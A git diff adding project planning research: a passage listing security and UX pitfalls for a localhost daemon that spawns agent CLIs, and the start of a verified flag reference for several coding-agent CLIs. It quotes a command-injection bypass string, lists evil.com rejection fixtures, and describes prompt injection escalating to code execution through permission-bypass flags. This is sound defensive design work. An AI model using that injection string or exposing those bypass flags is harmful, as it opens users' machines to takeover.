Side-panel React/DOM churn | Batch to 30 fps (~33 ms coalesce window) | Streams > ~30 events/s (chatty models) | + +--- + +## Security Mistakes + +| Mistake | Risk | Prevention | +|---------|------|------------| +| Accept spawn requests from any WebSocket origin | CSWSH → RCE (Mailpit, Dozzle, Nanobot 2025-2026 CVEs) | Extension-ID allowlist on Origin | +| Skip Host header validation on localhost binding | DNS rebinding → RCE (CVE-2025-66414/66416; CVE-2025-49596) | Reject Host != `127.0.0.1`/`localhost` | +| Let the reverse-request payload set CLI flags | Prompt-injection escalates to RCE (CVE-2025-59536, TrustFall) | Daemon owns the flag set; reject unknown payload keys | +| Ship `--dangerously-skip-permissions` / `--yolo` as default | 1-click RCE on any prompt injection | Never expose the flag through delegation | +| Use `sh -c "claude -p '$prompt'"` for spawn | Shell injection (CVE-2025-54795) | `execFile`/`spawn` with argv array; never a shell | +| Log the shared secret in diagnostics | Token leak → spawn RCE | Redact `Sec-WebSocket-Protocol`, `token=`, `?token` patterns | +| Store secret in `chrome.storage.sync` | Syncs across devices — huge leak surface | `chrome.storage.local` or file-based; never sync | +| Trust `clientInfo.name` from MCP handshake | Spoofable — used as evidence for permission decisions → priv-esc | Allowlist for observability; gate permissions on transport ownership | +| Auto-trust project-local agent config | TrustFall class (May 2026, all four major CLIs) | Ship FSB's shipped `fsb` agent definition; `--strict-mcp-config` mandatory | +| Bind daemon to `0.0.0.0` for "just in case" LAN | LAN attackers reach spawn channel | `127.0.0.1` only | +| Skip TLS on the daemon-side stdio connection to the CLI | N/A — stdio is process-local, not TLS-able | Rely on process ownership; do not expose the stdio channel over network | +| Merge delegation progress into the visual-session badge without ownership check | Cross-agent badge spoofing (v0.9.36 anti-pattern) | Reuse v0.9.36 allowlist + ownership token pattern | +| Store executed prompts un-redacted (for audit) alongside secrets | Prompt log becomes a leak vector | Separate stores; redact known secret shapes on write | + +--- + +## UX Pitfalls + +| Pitfall | User Impact | Better Approach | +|---------|-------------|-----------------| +| Silent 3-8 s cold start (Pitfall 13) | User double-clicks, spawns two runs | Step-labeled progress ("spawning → initializing → sending prompt"); disable button while in flight | +| No "who is running" indicator | User confused about which client did what | Agent-suffix badge (v0.9.60 pattern) with adapter name | +| Chat mode uses `-p` per turn (Pitfall 12) | Agent has no context; user thinks "AI is dumb" | Explicit `session_id` + `--resume` per adapter capability | +| No cost visibility (Pitfall 14) | Bill shock / quota exhaustion | Live token estimate + post-run cost card | +| Agent hijacks the user's active tab (Pitfall 15) | User loses control; work destroyed | Default to background tab; explicit "take control" affordance | +| "Delegate" button reads "Run" | Implies immediacy; user tolerance is 500 ms, not 5 s | "Delegate (starts in a few seconds…)" | +| Doctor state shows spinner on daemon offline | User doesn't know what to do | Explicit "Restart daemon: `npx -y fsb-mcp-server serve`" step | +| Providers panel copy says "no key required — free!" | Users delegate 500 tasks, subscription tanks | "Uses your subscription; check current billing" + link | +| No visible list of what the agent has done | User can't verify or reverse | Action log alongside the side panel (v0.9.24 action-history pattern) | +| Silent CLI hang looks identical to "thinking" | User waits 10 min for a dead CLI | Progress-idle warning at 30 s + kill switch always visible | +| No "recent delegations" audit | User can't review what was executed | Persisted ring buffer of (prompt, adapter, outcome, cost) | + +--- + +## "Looks Done But Isn't" Checklist + +Things that appear complete but are missing critical pieces. + +- [ ] **Delegation MVP:** Often missing Origin allowlist on the reverse-request WS — verify a fixture with `Origin: https://evil.com` is rejected before merge (Pitfall 1). +- [ ] **Delegation MVP:** Often missing DNS-rebind Host check — verify a fixture with `Host: evil.com:7225` is rejected even though the target resolves to loopback (Pitfall 2). +- [ ] **Spawn payload contract:** Often accepts flag overrides from the wire — verify the daemon rejects any payload key not in the strict allowlist (Pitfall 3). +- [ ] **"Skip permissions" toggle:** Often ships as a "faster mode" — verify grep of the entire codebase for `dangerously-skip-permissions` finds only test/documentation strings, not spawn code (Pitfall 4). +- [ ] **Shared secret:** Often leaks into diagnostic logs — verify the redaction test suite includes `token=` and `Sec-WebSocket-Protocol` patterns (Pitfall 5). +- [ ] **Kill switch:** Often kills only the parent — verify grandchild processes (spawned by the CLI) are terminated on cancel, on all supported platforms (Pitfall 6). Test on Windows explicitly. +- [ ] **Long runs:** Often deadlock at ~64 KB stdout — verify a fixture that emits 200 KB of JSONL completes without stall (Pitfall 7). +- [ ] **Daemon crash:** Often leaves running CLI processes — verify orphan scan on daemon startup terminates them (Pitfall 8). +- [ ] **Adapter version compat:** Often assumes latest — verify per-adapter compatibility matrix + fail-loud on unknown event types (Pitfall 9). +- [ ] **SW eviction:** Often loses state — verify a fixture that forces SW eviction mid-delegation preserves state on respawn (Pitfall 10). +- [ ] **Tripwire tests:** Often break silently across the milestone — verify CI runs the FULL test suite on every extension-touching PR from the first commit (Pitfall 11). +- [ ] **Chat mode:** Often uses `-p` per turn — verify follow-up prompts genuinely resume the agent's context via `--resume ` (Pitfall 12). +- [ ] **Cost visibility:** Often absent — verify every completed run shows a cost summary card (Pitfall 14). +- [ ] **Tab conflict:** Often steals focus — verify delegation defaults to a background tab (Pitfall 15). +- [ ] **Bridge topology:** Often lacks hub-restart cases — verify test suite includes hub-exit-mid-delegation cases (Pitfall 16). +- [ ] **INV-01:** Often violated additively "safely" — verify the frozen `EXPECTED_NON_TRIGGER_REGISTRY_HASH` and bridge event-type pin are unchanged after all delegation wiring lands. +- [ ] **Agent identity capture:** Often only records copy-clicks — verify `clientInfo` from MCP `initialize` is threaded through the existing `agent:register` round-trip (currently empty payload per PROJECT.md). +- [ ] **Providers panel rename:** Often just renames text — verify `agent` provider kind hides API-key field and installs the recommended-default rule (connected > installed > copy-clicked). + +--- + +## Recovery Strategies + +When pitfalls occur despite prevention, how to recover. + +| Pitfall | Recovery Cost | Recovery Steps | +|---------|---------------|----------------| +| CSWSH / DNS-rebind vulnerability discovered post-ship (Pitfall 1, 2) | HIGH | Emergency point release; force-close the bridge; ship Origin/Host checks; force-upgrade extension via Chrome Web Store update priority; publish security advisory | +| Prompt-injection RCE demonstrated in the wild (Pitfall 3) | HIGH | Same as above + audit shipped prompt logs + notify Anthropic/OpenAI/Google if their CLI's contract enabled the escape | +| `--dangerously-skip-permissions` accidentally exposed (Pitfall 4) | HIGH | Same as CSWSH; every affected user must restart the daemon to invalidate any warm-token state | +| Shared secret leak (Pitfall 5) | MEDIUM | Rotate on daemon restart; force one-time re-pair via control-panel prompt | +| Orphaned CLI processes (Pitfall 6) | LOW | Ship next release with tree-kill fix + orphan scanner on startup; run scanner via `fsb-mcp-server doctor` in the meantime | +| Stdout backpressure deadlock (Pitfall 7) | MEDIUM | Point release with `readline` refactor; interim workaround: cap max stream length in the CLI's system prompt | +| Daemon crash orphans (Pitfall 8) | LOW | Same as Pitfall 6 + add heartbeat to next release | +| Adapter drift breaks delegation (Pitfall 9) | LOW-MEDIUM | Compatibility matrix update; ship version-guarded adapter; user runs `fsb-mcp-server doctor` to confirm compat | +| SW eviction loses delegation state (Pitfall 10) | LOW | Point release with `chrome.storage.session` writes on every progress event | +| Source-pin tripwire break (Pitfall 11) | LOW | Fix in-milestone; tripwires are early-detection so cost stays small when honored | +| Chat/task mode confusion (Pitfall 12) | LOW | Documentation + UI copy update; adapter contract adds `session_id` | +| Cost surprise (Pitfall 14) | LOW-MEDIUM | Providers-panel copy update; add cost card; user reimbursement handled per vendor's usual channels (not FSB's problem to fix) | +| User-vs-agent tab conflict (Pitfall 15) | LOW | Default-background-tab + take-control affordance; ship next release | +| Bridge topology regression (Pitfall 16) | MEDIUM | Test coverage gap: add hub-exit-mid-delegation case; ship fix in next release | +| INV-01 wire contract violation | HIGH | Any client that upgraded FSB but not their local CLI could break; roll back the wire change; every new event must remain additive; audit the frozen hash test | + +--- + +## Pitfall-to-Phase Mapping + +How roadmap phases should address these pitfalls. Phases 57-63 are the working assumption; final phase numbers land in Phase 57 (requirements definition). + +| Pitfall | Prevention Phase | Verification | +|---------|------------------|--------------| +| 1. Missing Origin validation (CSWSH) | Phase 60 (channel design) | Fixture: `Origin: https://evil.com` handshake rejected | +| 2. DNS rebinding | Phase 60 (channel design) | Fixture: `Host: evil.com:7225` handshake rejected | +| 3. Prompt-injection → spawn RCE | Phase 60 + 61 + 62 (defense-in-depth) | Argv construction lint; adapter payload key allowlist; explicit consent tier test | +| 4. `--dangerously-skip-permissions` defaults | Phase 60 + 62 | Grep-fail CI gate; UX copy audit | +| 5. Shared secret handling | Phase 60 (design) + 62 (rotation UX) | Redaction test suite includes token patterns | +| 6. Zombie / orphaned children | Phase 61 (adapter contract) | Windows + POSIX kill-tree fixtures; orphan scanner | +| 7. Stdout backpressure | Phase 61 (adapter contract) | 200 KB JSONL fixture completes | +| 8. Daemon crash mid-run | Phase 62 (daemon lifecycle) | Kill-daemon test asserts extension outage detection ≤10 s | +| 9. Version drift | Phase 61 (contract) + 63 (drift CI) | Per-adapter version detection; unknown-event fail-loud | +| 10. MV3 SW eviction on long runs | Phase 62 (SW persistence) | `chrome.storage.session` write per progress event; SW-kill fixture | +| 11. Source-pin tripwire breakage | Every extension-touching phase | Full test suite green on every PR | +| 12. Chat vs one-shot mismatch | Phase 61 (adapter caps) + 62 (UX) | Follow-up prompt fixture verifies session continuity | +| 13. Cold-start latency shock | Phase 62 (UX) | Progress step labels; button debounce | +| 14. Cost surprises | Phase 62 (Providers panel copy) + reuse v0.9.69 telemetry | Cost card renders; providers copy references current billing | +| 15. User vs agent tab conflict | Phase 62 (default-background + take-control) | Delegation default opens background tab; take-control affordance test | +| 16. Hub/relay bridge topology edge cases | Phase 60 (design) + every wire-touching phase | Bridge topology test suite includes hub-exit-mid-delegation | + +**Phase reads (working assumption; final numbering set in Phase 57):** +- **Phase 57 (requirements definition):** Bakes tripwire and INV-01 gates into the milestone charter. Names Pitfalls 1-5 as security-critical (must-ship-first). +- **Phase 58 (agent identity capture):** Threads `clientInfo` through `agent:register`; disk-detection of installed clients. Low pitfall exposure — allowlist-only. +- **Phase 59 (Providers panel rename):** Rename + `agent` kind + recommended default. Low pitfall exposure — UI-only. Copy must reflect Pitfall 14 (cost). +- **Phase 60 (channel design + secure spawn):** Pitfalls 1, 2, 3, 5, 16 land here. The security foundation. +- **Phase 61 (adapter contract):** Pitfalls 3 (argv), 6, 7, 9, 12 land here. Kill-tree, backpressure, version guards, chat/task modes. +- **Phase 62 (delegation UX + lifecycle):** Pitfalls 4 (UX audit), 8, 10, 13, 14, 15 land here. Consent tiers, daemon lifecycle, cost card, take-control affordance. +- **Phase 63 (CI drift gate + doctor):** Pitfall 9 (drift smoke) + Pitfall 8 (doctor recovery UX). +- **Phase 64+ (Codex/Gemini/OpenCode adapters):** Each new adapter re-uses the Phase 61 contract; per-adapter caps + version matrix + credentials story. + +--- + +## Sources + +### 2025-2026 CVEs and Advisories + +- [Critical RCE in Anthropic MCP Inspector (CVE-2025-49596)](https://www.oligo.security/blog/critical-rce-vulnerability-in-anthropic-mcp-inspector-cve-2025-49596) — CVSS 9.4; MCP proxy accepts stdio commands with no auth or origin gate; DNS rebinding exploitable. +- [MCP Inspector CVE-2025-49596 (NVD detail)](https://nvd.nist.gov/vuln/detail/CVE-2025-49596) +- [MCP Horror Stories: The Drive-By Localhost Breach (Docker)](https://www.docker.com/blog/mpc-horror-stories-cve-2025-49596-local-host-breach/) +- [DNS Rebinding in Official MCP SDKs (CVE-2025-66414 / CVE-2025-66416)](https://vulnerablemcp.info/vuln/cve-2025-66414-66416-dns-rebinding-mcp-sdks.html) — TypeScript SDK (fixed 1.24.0) and Python SDK (fixed 1.23.0). +- [Rafter — DNS Rebinding and Localhost MCP](https://rafter.so/blog/mcp-dns-rebinding-localhost) +- [CVE-2025-59536: Claude Code project files → RCE + API token exfiltration (Check Point Research)](https://research.checkpoint.com/2026/rce-and-api-token-exfiltration-through-claude-code-project-files-cve-2025-59536/) +- [CVE-2025-54794 / CVE-2025-54795: Claude Code path bypass + command injection (Cymulate)](https://cymulate.com/blog/cve-2025-547954-54795-claude-inverseprompt/) — `echo` whitelist bypass via `"\"; ; echo \""`. +- [Google Gemini CLI CVSS 10.0 RCE (Novee Security)](https://novee.security/blog/google-gemini-cli-rce-vulnerability-cvss-10-critical-security-advisory/) — GHSA-wpqr-6v78-jr5g; workspace-trust bypass in headless. +- [Gemini CLI Vulnerability (Tracebit)](https://tracebit.com/blog/code-exec-deception-gemini-ai-cli-hijack) +- [TrustFall: 1-Click RCE Across Claude, Cursor, Gemini CLI, Copilot (Adversa AI)](https://adversa.ai/blog/trustfall-coding-agent-security-flaw-rce-claude-cursor-gemini-cli-copilot/) — folder-trust bypass, May 2026. +- [TrustFall follow-up (Lyrie Research)](https://lyrie.ai/research/research/2026-05-09-trustfall-agentic-rce) +- [Mailpit CSWSH Advisory (GHSA-524m-q5m7-79mm)](https://github.com/axllent/mailpit/security/advisories/GHSA-524m-q5m7-79mm) +- [Dozzle CSWSH on `/exec` and `/attach` (CVE-2026-44985, GHSA-j643-x8pv-8m67)](https://github.com/amir20/dozzle/security/advisories/GHSA-j643-x8pv-8m67) +- [Nanobot WhatsApp Bridge CSWSH (GHSA-v5j3-4q66-58cf)](https://github.com/HKUDS/nanobot/security/advisories/GHSA-v5j3-4q66-58cf) +- [Cross-Site WebSocket Hijacking Exploitation in 2025 (Include Security)](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/) — current state of browser mitigations; some past attacks still work. +- [MCP Untrusted Servers and Confused Clients (Embrace the Red)](https://embracethered.com/blog/posts/2025/model-context-protocol-security-risks-and-exploits/) +- [Palo Alto Unit 42: Web-based indirect prompt injection observed in the wild](https://unit42.paloaltonetworks.com/ai-agent-prompt-injection/) + +### Vendor Documentation / Official Guidance + +- [Claude Code — `--dangerously-skip-permissions` (Truefoundry)](https://www.truefoundry.com/blog/claude-code-dangerously-skip-permissions) +- [Claude Code — Anthropic security best practices (General Analysis)](https://generalanalysis.com/guides/anthropic-claude-code-security-best-practices) +- [Claude Code — Work with sessions](https://code.claude.com/docs/en/agent-sdk/sessions) +- [Claude Code — `--continue` silently creates a new session in non-interactive (`-p`) mode (Kent Gigger)](https://kentgigger.com/posts/claude-code-conversation-history) +- [Claude Code — stream-json format (Background Claude)](https://backgroundclaude.com/blog/stream-json) +- [Claude Code — stream-json output undocumented issue #24594](https://github.com/anthropics/claude-code/issues/24594) +- [Claude Code — event-type documentation feature request #24612](https://github.com/anthropics/claude-code/issues/24612) +- [Claude Code — `--strict-mcp-config` behavior issue #1111](https://github.com/multica-ai/multica/issues/1111) +- [Anthropic — Claude billing split delay (June 15, 2026 pause)](https://www.digitalapplied.com/blog/anthropic-claude-credit-overhaul-june-15-2026) +- [Anthropic pauses Claude Agent SDK subscription change (The New Stack)](https://thenewstack.io/anthropic-pauses-claude-agent-sdk-subscription-change/) +- [Codex CLI — Headless Execution Mode (DeepWiki)](https://deepwiki.com/openai/codex/4.2-model-provider-configuration) +- [Codex CLI — Headless / Non-Interactive Mode (Developer Toolkit)](https://developertoolkit.ai/en/codex/advanced-techniques/non-interactive/) +- [MCP — Handshake, initialize, clientInfo (IMTI)](https://imti.co/mcp-handshake-lifecycle/) +- [MCP — Authorization tutorial](https://modelcontextprotocol.io/docs/tutorials/security/authorization) + +### Chrome / MV3 / Runtime + +- [Chrome — Extension service worker lifecycle](https://developer.chrome.com/docs/extensions/develop/concepts/service-workers/lifecycle) — 30 s idle + 5 min single-request limits. +- [Chrome — Longer extension service worker lifetimes](https://developer.chrome.com/blog/longer-esw-lifetimes) +- [Chrome — Use WebSockets in service workers](https://developer.chrome.com/docs/extensions/how-to/web-platform/websockets) — Chrome 116+ WS activity extends SW lifetime. +- [Chrome — Native messaging](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) +- [Chrome — Offscreen Documents in MV3](https://developer.chrome.com/blog/Offscreen-Documents-in-Manifest-v3) — WebSocket in offscreen not supported. +- [Chrome — Vibe Engineering: MV3 SW keepalive (Medium)](https://medium.com/@dzianisv/vibe-engineering-mv3-service-worker-keepalive-how-chrome-keeps-killing-our-ai-agent-9fba3bebdc5b) + +### Node.js child_process / streams + +- [Node.js — Child process (v26)](https://nodejs.org/api/child_process.html) — Windows signal handling caveats. +- [Node.js — Backpressuring in streams](https://nodejs.org/learn/modules/backpressuring-in-streams) +- [Auto-Claude #1252: Windows process cleanup broken — zombies accumulate](https://github.com/AndyMik90/Auto-Claude/issues/1252) +- [Node.js #46569: Unrefed child_process inside a worker thread becomes a zombie](https://github.com/nodejs/node/issues/46569) +- [Node.js help #1389: Correct way to kill a child process](https://github.com/nodejs/help/issues/1389) +- [Killing process families with Node (Almenon)](https://medium.com/@almenon214/killing-processes-with-node-772ffdd19aad) + +### Browser Agents / Tab Conflicts + +- [Cursor forum: agents use the same browser tab, conflict](https://forum.cursor.com/t/agents-use-the-same-browser-tab-which-creates-a-conflict/151571) +- [OpenClaw #3605: sub-agents share browser profile with parent](https://github.com/openclaw/openclaw/issues/3605) +- [browser-use #1920: multiple agents on same browser, second agent errors](https://github.com/browser-use/browser-use/issues/1920) +- [OpenClaw #25228: MV3 SW lifecycle breaks relay](https://github.com/openclaw/openclaw/issues/25228) + +### Repo-internal references (verified via graphify) + +- `extension/background.js:8731` — `fsbDispatchInternalMessage()`, same-context dispatch. Auto-memory confirms `sendMessage` does not loop back in-SW; the delegation dispatcher must use this bus. +- `tests/mcp-bridge-topology.test.js` — existing bridge topology tests; extend, do not replace. +- FSB source-pin tripwire policy — auto-memory `fsb-source-pin-tripwires.md`. +- PROJECT.md v0.9.91 Key Context — bridge already rejects untrusted browser origins for MCP; INV-01 wire contracts byte-stable; MV3 SW lifetime constraint acknowledged. + +--- +*Pitfalls research for: localhost daemon spawning agent CLIs on request from a browser (MV3) surface* +*Researched: 2026-07-10* diff --git a/.planning/milestones/v0.9.91-research/STACK.md b/.planning/milestones/v0.9.91-research/STACK.md new file mode 100644 index 000000000..ae21a4b09 --- /dev/null +++ b/.planning/milestones/v0.9.91-research/STACK.md @@ -0,0 +1,269 @@ +# Stack Research + +**Domain:** Headless agent-CLI spawning/supervision from a Node daemon (MCP-clients-as-providers, v0.9.91) +**Researched:** 2026-07-10 +**Confidence:** HIGH (flag matrices verified against live local binaries + current official docs; see per-section notes) + +> **Note:** This supersedes the v1.2.0 (Showcase i18n) `STACK.md` that occupied this path — unrelated to this milestone, recoverable from git history (same convention as the previous overwrite noted in that file's own header). + +> **Scope guard:** Existing validated stack (MV3 extension, vanilla JS, `fsb-mcp-server` on `@modelcontextprotocol/sdk ^1.29`, ws 8.x bridge on 7225, streamable-HTTP on 7226, platforms.ts registry, install.ts writers, universal-provider.js) is NOT re-researched. Everything below is only what the four NEW features need. + +--- + +## Headline Recommendation + +**Add zero new runtime dependencies to `mcp/`.** Every new capability — spawning agent CLIs, supervising them, parsing their JSONL streams, capturing `clientInfo`, detecting installed clients — is achievable with Node built-ins (`node:child_process`, `node:readline`, `node:fs`, `node:os`) plus APIs already present in the pinned `@modelcontextprotocol/sdk`. Shell out to the **user's own installed CLIs** (subscription auth preserved); do **not** embed the Claude Agent SDK (API-key-only auth, policy-prohibited subscription use — see tradeoff section). + +--- + +## Verified CLI Flag Matrices + +Verification method: flags run against **locally installed binaries** where available (strongest evidence), cross-checked against official docs fetched 2026-07-10. Do not trust flag names from memory at build time — each adapter should version-probe (` --version`) and treat the matrices below as the contract for the listed versions. + +### 1. Claude Code CLI — MVP adapter target + +**Verified against:** local `claude` **2.1.177** (`--help` output, verbatim) + https://code.claude.com/docs/en/cli-reference + /docs/en/headless + /docs/en/permissions (fetched 2026-07-10). Confidence: **HIGH**. + +| Capability | Flag (verbatim) | Notes | +|---|---|---| +| Headless run | `-p, --print` | "Print response and exit". All other flags compose with it. Prompt via argv or stdin pipe (stdin capped at 10MB since v2.1.128) | +| Streaming output | `--output-format stream-json` | Choices: `text` (default), `json` (single result), `stream-json` (newline-delimited JSON). Print mode only | +| Token-level partials | `--include-partial-messages` | "only works with --print and --output-format=stream-json". Emits `stream_event` lines with `text_delta` | +| Verbose (required) | `--verbose` | Docs' stream-json examples always include it; historically `-p --output-format stream-json` errors without `--verbose`. Include it unconditionally | +| Streaming input | `--input-format stream-json` | "realtime streaming input" — enables a persistent child receiving user turns as JSONL on stdin (chat-mode without respawn). Pairs with `--replay-user-messages` | +| Resume (chat-mode) | `-r, --resume [sessionId]` / `-c, --continue` | Session ID lookup is **scoped to the current project directory** and its worktrees — the daemon must use a stable per-provider cwd for resume to work | +| Fork / pin session | `--fork-session`, `--session-id ` | UUID must be valid; fork creates new ID on resume | +| Ephemeral (task-mode) | `--no-session-persistence` | "sessions will not be saved to disk and cannot be resumed (only works with --print)" | +| Agent persona | `--agent ` | "Agent for the current session. Overrides the 'agent' setting." | +| Inline agent definition | `--agents ` | Session-only, never written to disk — "useful for quick testing or automation scripts". Accepts full frontmatter fields: `description`, `prompt`, `tools`, `disallowedTools`, `model`, `permissionMode`, `mcpServers`, `hooks`, `maxTurns`, `skills`, `initialPrompt`, `memory`, `effort`, `background`, `isolation`, `color` | +| Tool allowlist | `--allowedTools` / `--allowed-tools ` | Comma or space separated; permission-rule syntax | +| Tool denylist | `--disallowedTools` / `--disallowed-tools` | Bare tool name removes tool from context entirely | +| Built-in tool restriction | `--tools ""` \| `"default"` \| `"Bash,Edit,Read"` | `--tools ""` strips ALL built-ins — strongest "browser-only" lockdown when combined with an MCP allowlist. Verify quoting behavior in a spike | +| Permission mode | `--permission-mode ` | Choices at 2.1.177 (verbatim from --help): `"acceptEdits", "auto", "bypassPermissions", "default", "dontAsk", "plan"`. (`manual` alias exists only ≥2.1.200.) **`dontAsk` is the delegation default we want:** "Auto-denies tools unless pre-approved via `permissions.allow` rules" | +| Hermetic MCP | `--mcp-config ` + `--strict-mcp-config` | Verbatim: "Only use MCP servers from --mcp-config, ignoring all other MCP configurations". `--mcp-config` accepts JSON **files or strings** | +| System prompt | `--append-system-prompt `, `--append-system-prompt-file ` | Also `--system-prompt(-file)` for full replacement — avoid; keep CC defaults | +| Budget rails | `--max-turns ` (print only), `--max-budget-usd ` | Both exist at current versions; belt-and-suspenders alongside daemon wall-clock timeout | +| Non-interactive permission broker | `--permission-prompt-tool ` | Optional later: route approval asks back through an FSB MCP tool instead of hard-deny | + +**MCP tool wildcard semantics (verified verbatim, code.claude.com/docs/en/permissions, 2026-07-10):** + +- `mcp__fsb` — "matches any tool provided by the `fsb` server" +- `mcp__fsb__*` — "uses wildcard syntax and also matches all tools from the server" (both forms valid today; older docs disallowed the `__*` form — this HAS changed) +- `mcp__fsb__read_page` — single tool +- Allow rules accept globs **only after a literal `mcp____` prefix** (`mcp__fsb__get_*` works); unanchored allow globs like `mcp__*` are "skipped with a warning". `mcp__*` works in **deny/ask** rules only. +- Recommendation: use bare `mcp__fsb` in `--allowedTools` (both forms equivalent; bare form is the one that has been stable across doc generations). + +**Critical auth gotcha (verified):** `--bare` mode "skips OAuth and keychain reads. Anthropic authentication must come from `ANTHROPIC_API_KEY` or an `apiKeyHelper`". Docs recommend `--bare` for scripts, **but FSB must NOT use it** — subscription auth is the entire point of agent providers. Hermeticity comes from `--strict-mcp-config` + `--agents` + `--settings` instead, which leaves OAuth intact. + +**stream-json event contract (verified, code.claude.com/docs/en/headless):** first line is `system` subtype `init` (session_id, model, tools, mcp_servers, plus a `capabilities` string array ≥2.1.205 — feature-detect from it, not from version strings); then `assistant`/`user` message lines, `stream_event` partials (with `--include-partial-messages`), `system/api_retry` on retryable API errors (fields: `attempt`, `max_retries`, `retry_delay_ms`, `error_status`, `error` category incl. `authentication_failed`, `billing_error`, `rate_limit`), terminal `result` line (includes `total_cost_usd`, per-model usage, `session_id`). One JSON object per line. + +**Reference delegation invocation (MVP shape):** + +```bash +claude -p --verbose \ + --output-format stream-json --include-partial-messages \ + --mcp-config '{"mcpServers":{"fsb":{"type":"http","url":"http://127.0.0.1:7226/mcp"}}}' \ + --strict-mcp-config \ + --agents "$(cat fsb-agent.json)" --agent fsb \ + --permission-mode dontAsk \ + --allowedTools "mcp__fsb" \ + --disallowedTools "Bash,Edit,Write,NotebookEdit,WebFetch,WebSearch" \ + --max-turns 40 \ + --no-session-persistence # task-mode only; omit + capture session_id for chat-mode +# prompt written to stdin (never argv — Windows quoting + length limits) +``` + +Two spike items flagged for the phase (5-minute checks, not blockers): (a) whether `--agent fsb` can select an agent defined inline via `--agents` in the same invocation (documented composition is indirect; fallback is `--append-system-prompt-file`, which is fully documented); (b) exact `--tools ""` quoting on Windows. + +Note the injected `--mcp-config` uses FSB's **existing streamable-HTTP endpoint (port 7226)** so the spawned CLI joins the already-running daemon/hub instead of forking a second stdio server process (which would spawn a competing hub and force relay promotion on 7225). + +### 2. Codex CLI + +**Verified against:** local `codex` **0.142.5** (`codex exec --help`, `codex mcp --help`, verbatim) + https://developers.openai.com/codex/noninteractive (→ redirects to learn.chatgpt.com/docs/non-interactive-mode) + config reference (learn.chatgpt.com/docs/config-file/config-reference), fetched 2026-07-10. npm latest: `@openai/codex` **0.144.1**. Confidence: **HIGH**. + +| Capability | Flag (verbatim from 0.142.5 --help) | Notes | +|---|---|---| +| Headless run | `codex exec [PROMPT]` | Prompt as arg, or `-` / piped stdin ("If stdin is piped and a prompt is also provided, stdin is appended as a `` block") | +| Streaming output | `--json` | "Print events to stdout as JSONL". Event types: `thread.started`, `turn.started`, `turn.completed`, `turn.failed`, `item.started`, `item.completed`; item types: `agent_message`, `reasoning`, `command_execution`, `mcp_tool_call`, `file_changes`, `web_search`, `plan_updates` | +| Final answer only | `-o, --output-last-message ` | Written to file, not stdout | +| Structured output | `--output-schema ` | JSON Schema for final response | +| Resume (chat-mode) | `codex exec resume ` / `codex exec resume --last "next instruction"` | Subcommand, not a flag | +| Ephemeral (task-mode) | `--ephemeral` | "Run without persisting session files to disk" — Codex's `--no-session-persistence` equivalent | +| Hermetic config | `--ignore-user-config` + `-c key=value` | "Do not load `$CODEX_HOME/config.toml`; **auth still uses `CODEX_HOME`**" — exactly the strict-MCP + subscription-auth combination FSB needs. `-c` takes dotted TOML paths, e.g. `-c 'mcp_servers.fsb.url="http://127.0.0.1:7226/mcp"'` | +| Profiles (alt hermetic path) | `-p, --profile ` | Layers `$CODEX_HOME/.config.toml` on top of base config ("CONFIG_PROFILE_V2") — FSB could install a `fsb-delegation.config.toml` | +| Sandbox | `-s, --sandbox ` | Default read-only. `--full-auto` is **deprecated** (docs: "prints warning; prefer --sandbox workspace-write") — do not emit it | +| Full bypass | `--dangerously-bypass-approvals-and-sandbox` | "EXTREMELY DANGEROUS" — never emit from FSB | +| Repo guard | `--skip-git-repo-check`, `-C, --cd ` | Needed: daemon scratch cwd is not a git repo | +| MCP config (persistent) | `[mcp_servers.]` in `config.toml` | Keys verbatim: `command`, `args`, `cwd`, `env`, `enabled`, `startup_timeout_sec`, `tool_timeout_sec`, `enabled_tools`, `disabled_tools`; HTTP servers: `url`, `http_headers`, `bearer_token_env_var`. `codex mcp list|get|add|remove|login|logout` exists (0.142.5) | +| Auth | ChatGPT login (subscription) by default; `CODEX_API_KEY` env only for CI | Matches key-less provider model | + +**Drift alert (MEDIUM confidence):** current config reference lists `approval_policy` values as `"untrusted"`, `"on-request"`, `"never"` plus a granular object — `on-failure` (present in training-data-era docs) is no longer listed. Since `codex exec` is non-interactive, FSB's adapter should rely on sandbox mode, not approval_policy; re-verify if approval_policy is ever emitted. + +### 3. Gemini CLI + +**Verified against:** https://github.com/google-gemini/gemini-cli `docs/cli/cli-reference.md`, `docs/cli/headless.md`, `docs/tools/mcp-server.md` (main branch, fetched 2026-07-10). npm latest: `@google/gemini-cli` **0.50.0**. Not installed locally — no binary cross-check. Confidence: **MEDIUM-HIGH** (current official docs, single source class). + +| Capability | Flag (verbatim from docs) | Notes | +|---|---|---| +| Headless run | `-p, --prompt` | "Appended to stdin input if provided. Forces non-interactive mode." Headless also triggers in non-TTY environments | +| Streaming output | `-o, --output-format stream-json` | Choices: `text`, `json`, `stream-json`. JSONL events: `init`, `message`, `tool_use`, `tool_result`, `error`, `result`. Exit codes: 0 success, 1 error, 42 input error, 53 turn-limit | +| Approval | `--approval-mode ` | `-y/--yolo` is **deprecated** ("Use --approval-mode=yolo instead") — do not emit `--yolo` | +| Tool allowlist | `--allowed-tools` **deprecated** ("Use the Policy Engine instead") | MCP-server-level gating is the supported path: `--allowed-mcp-server-names` (array) | +| Resume (chat-mode) | `-r, --resume <"latest"\|index>` | Plus `--list-sessions`, `--delete-session`. Resume support now exists (newer than training data) | +| MCP config | `mcpServers` in `~/.gemini/settings.json` or project `.gemini/settings.json` | Keys verbatim: `command`, `args`, `env`, `cwd`, `timeout` (ms, default 600000), `trust` (true "bypasses all tool call confirmations for this server"), `includeTools`, `excludeTools`; HTTP: `httpUrl` + `headers`; SSE: `url`. `gemini mcp add|list|remove|enable|disable` exists | +| Hermetic MCP | No per-invocation MCP flag | Achieve hermeticity by having the daemon own a scratch workspace dir containing `.gemini/settings.json` (project scope) + `--allowed-mcp-server-names fsb`; `trust: true` on the fsb entry to suppress per-tool confirmations | +| ACP | `--experimental-acp` | Alternative structured integration channel (see ACP note under OpenCode) | +| Model | `-m auto\|pro\|flash\|flash-lite` | | + +### 4. OpenCode + +**Verified against:** local `opencode` **1.14.25** (`opencode run --help`, verbatim) + https://opencode.ai/docs/cli/, /docs/mcp-servers/, /docs/agents/ (docs stamped "Last updated: Jul 10, 2026"). npm latest: `opencode-ai` **1.17.18**. Repo now lives at **anomalyco/opencode**. Confidence: **HIGH** for 1.14.25 flags, MEDIUM for renames in ≥1.15. + +| Capability | Flag | Notes | +|---|---|---| +| Headless run | `opencode run [message..]` | Message as positional args | +| Streaming output | `--format json` | Choices verbatim: `"default", "json"` — json = "raw JSON events". Event schema is 